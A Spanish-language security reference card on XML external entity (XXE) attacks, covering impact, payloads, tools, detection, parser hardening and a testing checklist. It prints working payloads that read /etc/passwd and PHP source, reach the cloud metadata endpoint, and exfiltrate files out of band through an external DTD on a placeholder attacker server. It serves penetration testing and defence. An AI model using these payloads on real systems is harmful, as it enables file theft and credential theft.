Saltearse al contenido

XXE (entidades XML)

Cuando un parser XML procesa documentos con entidades externas habilitadas y el documento lo controla el atacante, este puede forzar al servidor a leer ficheros locales, hacer SSRF a la red interna o a metadatos cloud, provocar denegación de servicio y, en ciertos entornos, llegar a RCE. La raíz es un parser mal configurado que resuelve lo que el XML le pide.

flowchart LR
    A[Atacante] -->|"XML con entidad externa"| P[Parser XML]
    P -->|"resuelve la entidad"| R["file:// o http:// interno"]
    R -->|"contenido"| P
    P -->|"fuga de datos o SSRF"| A
  • Lectura de ficheros del servidor (/etc/passwd, código fuente, secretos).
  • SSRF: el parser hace la petición a http://169.254.169.254/ o a servicios internos (ver la ficha de SSRF).
  • DoS: expansión exponencial de entidades (billion laughs).
  • RCE: con wrappers peligrosos (expect:// en PHP) o cadenas específicas.

El XML permite declarar una DTD con entidades. Una entidad externa (SYSTEM) hace que el parser cargue un recurso (fichero o URL). Las parameter entities (%) permiten construir XXE ciega/OOB cargando una DTD externa. Aparece en cualquier punto que procese XML: SOAP, SAML, feeds RSS, SVG, documentos DOCX/XLSX (son ZIP con XML dentro), sitemaps, config subidas, APIs que aceptan Content-Type: application/xml.

  • In-band: el contenido del fichero vuelve en la respuesta.
  • Ciega / OOB: sin salida directa; exfiltras por un canal externo con parameter entities + DTD externa.
  • Error-based: forzar un error del parser que incluya el dato.

Cualquier entrada XML es candidata. Prueba a declarar una entidad simple y ver si se resuelve; si el endpoint acepta JSON, prueba cambiar el Content-Type a XML.

<!-- Lectura de fichero (in-band) -->
<?xml version="1.0"?>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
<!-- Lectura de código fuente vía wrapper PHP (base64) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!-- SSRF a metadatos cloud -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!-- Ciega / OOB con DTD externa (exfiltra por tu servidor) -->
<!DOCTYPE x [
<!ENTITY % ext SYSTEM "http://TU_IP/evil.dtd">
%ext;
]>
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://TU_IP/?d=%file;'>">
%eval; %exfil;
  • XInclude: cuando no controlas el DOCTYPE pero sí un sub-árbol del XML.
  • SVG/Office: sube un SVG o DOCX con XXE dentro a un procesador de imágenes/ documentos.
  • SAML: XXE en el procesado de aserciones puede llevar a lectura/SSRF.
  • DoS: billion laughs / quadratic blowup (no lo lances en producción).

Burp Suite, XXEinjector, oxml_xxe (documentos Office), y tu propio servidor

  • DTD para blind/OOB.

Lectura de secretos → acceso a otros sistemas; SSRF → credenciales cloud → toma de cuenta; en casos concretos, RCE.

  • Documentos XML entrantes con <!DOCTYPE / <!ENTITY / SYSTEM / %.
  • Peticiones salientes desde el parser a ficheros o a red interna/metadatos.
  • Picos de CPU/memoria por expansión de entidades.

WAF con inspección de cuerpo XML, logs del servicio que parsea, egress/DNS del segmento.

  1. Desactivar DTD y entidades externas en el parser (la mitigación raíz). Ejemplos: Java dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); libxml sin LIBXML_NOENT/LIBXML_DTDLOAD; .NET XmlReaderSettings { DtdProcessing = Prohibit }; Python defusedxml.
  2. Preferir formatos sin DTD (JSON) cuando sea posible.
  3. Validar y limitar tamaño/entidades; parsers actualizados.

Rotar secretos leídos, revisar SSRF derivado (credenciales cloud), parchear la config del parser y añadir detección de DOCTYPE/ENTITY.

  • XXE ha afectado a productos muy extendidos (p. ej. integraciones XML de SharePoint, Jenkins y numerosos parsers/plugins); es una fuente recurrente de lectura de ficheros y SSRF en CVEs.
  • Muchas apps empresariales con SOAP/SAML han sido vulnerables por parsers con DTD habilitada por defecto.

CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).

  • Probada entidad simple en cada entrada XML (incl. JSON→XML por Content-Type).
  • Lectura de fichero in-band y, si no, blind/OOB con DTD externa.
  • Probado SSRF (interno/metadatos) vía entidad externa.
  • Probados vectores SVG/Office/SAML/XInclude si aplican.
  • Impacto documentado sin DoS en producción.